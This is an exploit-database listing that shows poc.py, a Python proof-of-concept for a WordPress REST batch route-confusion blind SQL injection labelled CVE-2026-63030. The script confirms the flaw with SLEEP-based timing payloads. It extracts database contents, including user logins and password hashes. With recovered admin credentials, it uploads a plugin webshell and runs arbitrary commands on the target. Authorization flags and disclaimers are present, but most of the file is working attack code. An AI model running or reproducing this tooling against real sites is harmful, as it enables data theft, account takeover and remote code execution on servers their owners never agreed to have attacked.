Exploit database

GH-a51a344f8498a9eb6c4d04c1f88005bd

j4ck3lsyn-gen2/cve-2026-63030-wp2r00t

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-63030

50 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
j4ck3lsyn-gen2/cve-2026-63030-wp2r00tRevision de0ac86a7be5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 22,382 bytes
#!/usr/bin/env python3
"""
poc.py - Standalone proof-of-concept for the WordPress REST batch route-confusion SQLi.

Built on modules/exploit.py.

Subcommands:
  check     Safely confirm the vulnerability (passive markers + batch marker probe,
            optional active SQL timing confirmation). Non-destructive.
  read      Read data from the database via blind SQL injection (admin hashes, etc.).
  shell     Post-authentication plugin-webshell helper (requires recovered admin creds).
  validate  Passive identifier for the wp2shell class of issues (version, batch endpoint
            exposure, security-header and passive indicators). No active exploitation.

Authorization: use *** against WordPress instances you own or are explicitly
authorized to test. No warranty; no liability for misuse.

Author: J4ck3LSyN
Repo: https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t
"""

from __future__ import annotations

import argparse, json, os, re, ssl, sys
from typing import Optional
from urllib.request import Request, build_opener, ProxyHandler, HTTPSHandler
from urllib.error import URLError, HTTPError

from modules.exploit import (
    AdminSession,
    BatchClient,
    BlindSQLi,
    TargetError,
    AuthorizationError,
    public_version_hints,
    wordpress_markers,
)


def _print(msg: str = "") -> None:
    print(msg)


def _info(msg: str) -> None:
    _print(f"[*] {msg}")


def _good(msg: str) -> None:
    _print(f"[+] {msg}")


def _bad(msg: str) -> None:
    _print(f"[-] {msg}")


def _warn(msg: str) -> None:
    _print(f"[!] {msg}")

class WP2ShellVal:
    """Passive identifier for the wp2shell class of issues.

    Performs only non-intrusive checks: WordPress version detection via public
    files, batch endpoint exposure, and security-header inspection. It never
    sends an active exploit payload.
    """

    def __init__(self, url, timeout=30.0, proxy=None, insecure=False, authorized=False, noop=False):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.proxy = proxy
        self.insecure = insecure
        self.authorized = authorized
        self.noop = noop
        self.session_headers = {
            'User-Agent': self.random_ua(),
            'Accept': '*/*',
        }
        handlers = []
        if proxy:
            self.proxy_handler = ProxyHandler({'http': proxy, 'https': proxy})
            handlers.append(self.proxy_handler)

        if insecure:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            handlers.append(HTTPSHandler(context=ctx))

        self.opener = build_opener(*handlers) if handlers else build_opener()

    def random_ua(self):
        uas = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
        ]
        return uas[0]  # Fixed UA for passive scanning to avoid WAF triggers

    def make_request(self, endpoint, method='GET'):
        url = f"{self.url}{endpoint}"
        headers = self.session_headers.copy()
        req = Request(url, headers=headers, method=method)
        try:
            resp = self.opener.open(req, timeout=self.timeout)
            return resp.read().decode('utf-8', errors='ignore'), resp.status, dict(resp.getheaders())
        except HTTPError as e:
            return e.read().decode('utf-8', errors='ignore'), e.code, dict(e.headers)
        except URLError as e:
            return str(e.reason), 0, {}

    def check_batch_endpoint(self):
        """Passive check for batch endpoint exposure."""
        endpoints = ['/wp-json/batch/v1', '/wp-json/']
        for ep in endpoints:
            body, status, headers = self.make_request(ep, method='GET')
            if status == 200 and ('batch' in str(headers) or 'batch' in body.lower()):
                return True, ep
        return False, None

    def passive_version_check(self):
        """Passive WordPress version detection."""
        indicators = [
            ('/readme.html', r'Version ([0-9]+\.[0-9]+\.[0-9]+)'),
            ('/wp-includes/version.py', r"\\$wp_version = '([0-9.]+)';"),
            ('/wp-includes/version.php', r"\$wp_version = '([0-9.]+)';"),
            ('/wp-includes/js/jquery/jquery.js', r'jquery.*(\d+\.\d+\.\d+)'),  # fallback
        ]
        for path, pattern in indicators:
            body, status, _ = self.make_request(path, method='GET')
            if status == 200:
                match = re.search(pattern, body, re.IGNORECASE)
                if match:
                    return match.group(1)
        return None

    def passive_security_headers(self):
        """Check for security headers that might indicate WAF or security plugins."""
        body, status, headers = self.make_request('/', method='GET')
        security_headers = [
            'X-Frame-Options',
            'X-XSS-Protection',
            'X-Content-Type-Options',
            'Strict-Transport-Security',
            'Content-Security-Policy',
            'X-WP-Nonce',  # WordPress nonce header
        ]
        found = {}
        for h in security_headers:
            if h in headers:
                found[h] = headers[h]
        return found

    def passive_plugin_theme_detection(self):
        """Passively detect common plugins/themes that might affect attack surface."""
        common_paths = [
            '/wp-content/plugins/akismet/readme.txt',
            '/wp-content/plugins/jetpack/readme.txt',
            '/wp-content/plugins/woocommerce/readme.txt',
            '/wp-content/themes/twentyone/readme.txt',
        ]
        found = []
        for path in common_paths:
            body, status, _ = self.make_request(path, method='GET')
            if status == 200:
                found.append(path)
        return found

    def run(self):
        print(f"[*] Target: {self.url}")
        if self.insecure:
            print("[!] SSL certificate verification disabled")
        if self.noop:
            print("[*] NOOP: passive checks would run; no requests sent in --noop preview.")
            print("[*] (Passive scan still contacts the target; supply --authorized to actually run it.)")
            return False
        if not self.authorized:
            print("[!] REFUSING: passive scan requires --authorized (assert you own/are "
                  "authorized to test the target). Use --noop to preview without sending.")
            return False
        print("[*] Performing passive checks...")

        # Check batch endpoint
        batch_endpoint, ep = self.check_batch_endpoint()
        if batch_endpoint:
            print(f"[+] Batch endpoint found at {ep}")
        else:
            print("[-] Batch endpoint not found or not exposed")

        # Version detection
        version = self.passive_version_check()
        if version:
            print(f"[+] WordPress version detected: {version}")
            try:
                from packaging import version
                v = version.parse(version)
                vuln_start = version.parse("6.9.0")
                vuln_end = version.parse("7.0.1")
                if vuln_start <= v <= vuln_end:
                    print("[!] Version is within the known vulnerable range (6.9.0 - 7.0.1)")
                else:
                    print("[i] Version is outside the known vulnerable range")
            except Exception:
                print("[i] Could not parse version for range check")
        else:
            print("[-] WordPress version not detected via passive means")

        # Security headers
        sec_headers = self.passive_security_headers()
        if sec_headers:
            print("[+] Security headers detected:")
            for h, v in sec_headers.items():
                print(f"    {h}: {v}")
        else:
            print("[-] No common security headers detected")

        # Overall assessment
        if batch_endpoint and version:
            print("\n[+] Target appears to be potentially vulnerable based on passive indicators.")
            print("    Note: This is a passive check. Active verification is required for confirmation.")
            return True
        else:
            print("\n[-] Target does not show clear passive indicators of vulnerability.")
            return False


def cmd_validate(args: argparse.Namespace) -> int:
    val = WP2ShellVal(args.url, timeout=args.timeout, proxy=args.proxy, insecure=args.insecure,
                     authorized=args.authorized, noop=args.noop)
    return 0 if val.run() else 1


def _client(args: argparse.Namespace) -> BatchClient:
    return BatchClient(
        args.url,
        timeout=args.timeout,
        rest_route=args.rest_route,
        proxy=args.proxy,
        insecure=args.insecure,
        authorized=args.authorized,
        noop=args.noop,
        max_requests=args.max_requests,
    )


def cmd_check(args: argparse.Namespace) -> int:
    client = BatchClient(
        args.url,
        timeout=max(args.timeout, args.sleep + 10),
        rest_route=args.rest_route,
        proxy=args.proxy,
        insecure=args.insecure,
        authorized=args.authorized,
        noop=args.noop,
        max_requests=args.max_requests,
    )

    # --noop: build the probe payloads and show them; never touch the target.
    if args.noop:
        probe_payload = client.marker_probe_payload()
        _info("NOOP: would send the route-confusion marker probe:")
        _print("    " + json.dumps(probe_payload, indent=2).replace("\n", "\n    "))
        if args.confirm_sqli:
            _info("NOOP: would also run a time-based SQL confirmation "
                  f"(sleep={args.sleep}s, samples={args.samples}); target not contacted.")
        return 0

    markers = wordpress_markers(client)
    if markers:
        _info(f"WordPress markers found ({', '.join(markers)})")
    else:
        _warn("No public WordPress markers found.")

    hints = public_version_hints(client)
    if hints:
        _info("Public WordPress version hints:")
        for hint in hints:
            _print(f"    - {hint.version} via {hint.source} ({hint.detail})")
        if any(hint.affected for hint in hints):
            _warn("A public version hint falls in the affected range; verify with authorization.")
    else:
        _warn("No public WordPress version hints found.")

    try:
        probe = client.marker_probe()
    except TargetError as exc:
        _bad(f"Batch endpoint unreachable: {exc}")
        return 1

    if probe.status != 207:
        _bad(f"Batch endpoint returned HTTP {probe.status} (not 207) - patched or REST API disabled.")
        return 1

    codes = client.batch_marker_codes(probe)
    if codes:
        _info(f"Batch probe -> HTTP 207; markers matched: {', '.join(codes)}")
    else:
        _good("Batch endpoint reachable and unauthenticated (HTTP 207).")

    route_confusion = client.has_route_confusion_markers(probe)
    if route_confusion:
        _good("VULNERABLE - batch route-confusion behavior detected.")
        if not args.confirm_sqli:
            _info("SQL timing confirmation not sent; use --confirm-sqli for the active probe.")
            return 0
    elif not args.confirm_sqli:
        _bad("Route-confusion marker pattern not detected.")
        return 2

    sqli = BlindSQLi(client, sleep=args.sleep)
    result = sqli.confirm_timing(samples=args.samples)
    if args.samples > 1:
        details = ", ".join(f"{b:.2f}s->{d:.2f}s" for b, d in result.samples)
        _info(f"Timing samples: {details}")
        _info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
    if result.confirmed:
        _good(f"SQL timing confirmed - baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
        return 0
    if route_confusion:
        _warn(
            f"SQL timing not confirmed - baseline {result.baseline:.2f}s, injected "
            f"{result.delayed:.2f}s; route-confusion marker still detected."
        )
        return 0
    _bad(f"Not timing-confirmed - baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
    return 2


def cmd_read(args: argparse.Namespace) -> int:
    client = _client(args)
    sqli = BlindSQLi(client, sleep=args.sleep)

    if args.noop:
        # Show the exact SQLi payloads that would be sent; do not contact target.
        _info("NOOP: SQLi payloads that would be sent (no network):")
        if args.query:
            sql = args.query
        elif args.preset == "fingerprint":
            sql = "SELECT @@version"
        else:
            table = f"{args.prefix}users"
            sql = f"SELECT COUNT(*) FROM {table}"
        _print(f"    presence: 0) AND (ASCII(SUBSTRING(COALESCE(({sql}),''),1,1)) > 0)-- -")
        _print(f"    timing:   0) OR SLEEP({args.sleep})-- -")
        _print(f"    (binary-search probes would follow per character; max_length={args.max_length})")
        return 0

    if args.query:
        _info(f"Reading: {args.query}")
        value = sqli.extract(args.query, max_length=args.max_length, on_char=lambda s: None)
        _good(f"Result: {value}")
    elif args.preset == "fingerprint":
        for label, expr in (
            ("MySQL version", "SELECT @@version"),
            ("Database user", "SELECT CURRENT_USER()"),
            ("Database name", "SELECT DATABASE()"),
        ):
            _good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
    elif args.preset == "users":
        table = f"{args.prefix}users"
        total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
        _info(f"{total} user(s) in {table}.")
        for offset in range(total):
            row = sqli.extract(
                f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) "
                f"FROM {table} ORDER BY ID LIMIT {offset},1",
                max_length=args.max_length,
            )
            _good(row)

    _info(f"{sqli.requests} request(s) sent.")
    return 0


def _load_admin_creds(user: str | None, password: str | None):
    """Resolve admin creds from (user, password) or env / 0600 key file (C1).

    Precedence: explicit args -> $WP2R00T_ADMIN_USER / $WP2R00T_ADMIN_PASSWORD
    (or $WP2R00T_ADMIN_PASSWORD_FILE). Fail closed if unresolved.
    """
    user = user or os.environ.get("WP2R00T_ADMIN_USER")
    if not user:
        raise SystemExit("[!] admin username required: set --user or $WP2R00T_ADMIN_USER")
    if password:
        return user, password
    if os.environ.get("WP2R00T_ADMIN_PASSWORD"):
        return user, os.environ["WP2R00T_ADMIN_PASSWORD"]
    pw_file = os.environ.get("WP2R00T_ADMIN_PASSWORD_FILE")
    if pw_file:
        try:
            st = os.stat(pw_file)
            if (st.st_mode & 0o077) != 0:
                raise SystemExit(f"[!] password file {pw_file} has unsafe permissions")
            with open(pw_file, "r") as fh:
                return user, fh.readline().strip()
        except OSError as exc:
            raise SystemExit(f"[!] cannot read password file {pw_file}: {exc}")
    raise SystemExit(
        "[!] admin password required: set --password, $WP2R00T_ADMIN_PASSWORD, "
        "or $WP2R00T_ADMIN_PASSWORD_FILE (a 0600 file). Do not pass creds via argv."
    )


def cmd_shell(args: argparse.Namespace) -> int:
    if not args.cmd:
        _bad("specify --cmd")
        return 2

    # --noop: show what the RCE capability would deploy/run; never require creds
    # or contact the target. Placed first so no credential resolution is needed.
    if args.noop:
        session = AdminSession(
            args.url,
            timeout=args.timeout,
            proxy=args.proxy,
            insecure=args.insecure,
            authorized=args.authorized,
            r00t=args.r00t,
            noop=args.noop,
        )
        _info("NOOP: post-auth RCE capability preview (no network contact, no creds):")
        if not args.r00t:
            _warn("  --r00t not set: the deploy/run capability is WITHHELD. "
                  "This build ships only when --r00t is supplied.")
        user = args.user or os.environ.get("WP2R00T_ADMIN_USER") or "<admin-user>"
        _print(f"  would authenticate as: {user!r}")
        _print("  webshell PHP that would be deployed (token-gated, POST-body command):")
        for line in session._plugin_php_preview().splitlines():
            _print(f"    | {line}")
        _print(f"  command that would run via token-gated POST: {args.cmd!r}")
        return 0

    user, password = _load_admin_creds(args.user, args.password)
    session = AdminSession(
        args.url,
        timeout=args.timeout,
        proxy=args.proxy,
        insecure=args.insecure,
        authorized=args.authorized,
        r00t=args.r00t,
        noop=args.noop,
    )

    _warn("This uploads a plugin containing a webshell to the target.")
    _info(f"Authenticating as {user!r}...")
    try:
        if not session.login(user, password):
            _bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').")
            return 1
    except TargetError as exc:
        _bad(f"Cannot reach target: {exc}")
        return 1
    except AuthorizationError as exc:
        _bad(str(exc))
        return 1
    _good("Authenticated.")

    _info("Deploying webshell plugin...")
    try:
        path = session.deploy_webshell()
    except RuntimeError as exc:
        _bad(str(exc))
        return 1
    _good(f"Webshell: {args.url.rstrip('/')}{path}")

    output = session.run(path, args.cmd)
    if output is None:
        _bad("No output - the upload likely failed (nonce/permissions) or the plugin is not web-served.")
        return 1
    _print()
    _print(output.rstrip("\n"))
    _print()

    if not args.keep:
        _warn(f"Remove the webshell when finished (delete {path} on the target).")
    return 0


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        prog="poc.py",
        description="WordPress REST batch route-confusion SQLi proof of concept.",
    )
    parser.add_argument("--version", action="version", version="poc.py 1.0.0")
    sub = parser.add_subparsers(dest="command", required=True)

    def _common(p: argparse.ArgumentParser) -> None:
        p.add_argument("url", help="target base URL, e.g. http://target")
        p.add_argument("--rest-route", action="store_true",
                       help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1")
        # Safety gates (fail-closed unless asserted).
        p.add_argument("--authorized", action="store_true",
                       help="ASSERT you own / are authorized to test TARGET. "
                            "Required for any request that leaves the host.")
        p.add_argument("--noop", action="store_true",
                       help="build/validate payloads and artifacts WITHOUT sending "
                            "them (no network contact, no target delay)")
        p.add_argument("--max-requests", type=int, default=None,
                       help="hard cap on requests sent to the target (request budget)")
        p.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
        p.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
        p.add_argument("--insecure", action="store_true",
                       help="disable TLS certificate verification")

    check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
    _common(check)
    check.add_argument("--sleep", type=float, default=3.0, help="SQL timing delay (default: 3)")
    check.add_argument("--samples", type=int, default=3, help="timing pairs (default: 3)")
    check.add_argument("--confirm-sqli", action="store_true", help="also send the active timing payload")
    check.set_defaults(func=cmd_check)

    read = sub.add_parser("read", help="read from the database via blind SQL injection")
    _common(read)
    group = read.add_mutually_exclusive_group()
    group.add_argument("--preset", choices=("fingerprint", "users"), default="fingerprint",
                       help="fingerprint or users")
    group.add_argument("--query", help='scalar SQL expression, e.g. "SELECT @@version"')
    read.add_argument("--prefix", default="wp_", help="table prefix (default: wp_)")
    read.add_argument("--max-length", type=int, default=128, help="max chars per value (default: 128)")
    read.add_argument("--sleep", type=float, default=3.0, help="SQL timing delay (default: 3)")
    read.set_defaults(func=cmd_read)

    shell = sub.add_parser("shell", help="post-auth plugin webshell helper")
    _common(shell)
    shell.add_argument("--user", help="admin username (or $WP2R00T_ADMIN_USER)")
    shell.add_argument("--password", help="admin password (or $WP2R00T_ADMIN_PASSWORD / _FILE; not required on argv)")
    shell.add_argument("--cmd", help="command to run on the target")
    shell.add_argument("--r00t", action="store_true",
                       help="OPT-IN post-auth RCE capability (deploy/run webshell). "
                            "WITHHELD from builds that should not ship execution; enable only when authorized.")
    shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell")
    shell.set_defaults(func=cmd_shell)

    validate = sub.add_parser("validate", help="passive identifier (version, batch exposure, headers)")
    _common(validate)
    validate.set_defaults(func=cmd_validate)

    return parser


def main(argv: Optional[list] = None) -> int:
    print("[!] wp2r00t - J4ck3LSyN")
    print("[!] Repository: https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t")
    args = build_parser().parse_args(argv)
    try:
        return args.func(args)
    except KeyboardInterrupt:
        return 130
    except (TargetError, RuntimeError) as exc:
        _bad(str(exc))
        return 1
    except AuthorizationError as exc:
        _bad(str(exc))
        return 2


if __name__ == "__main__": sys.exit(main())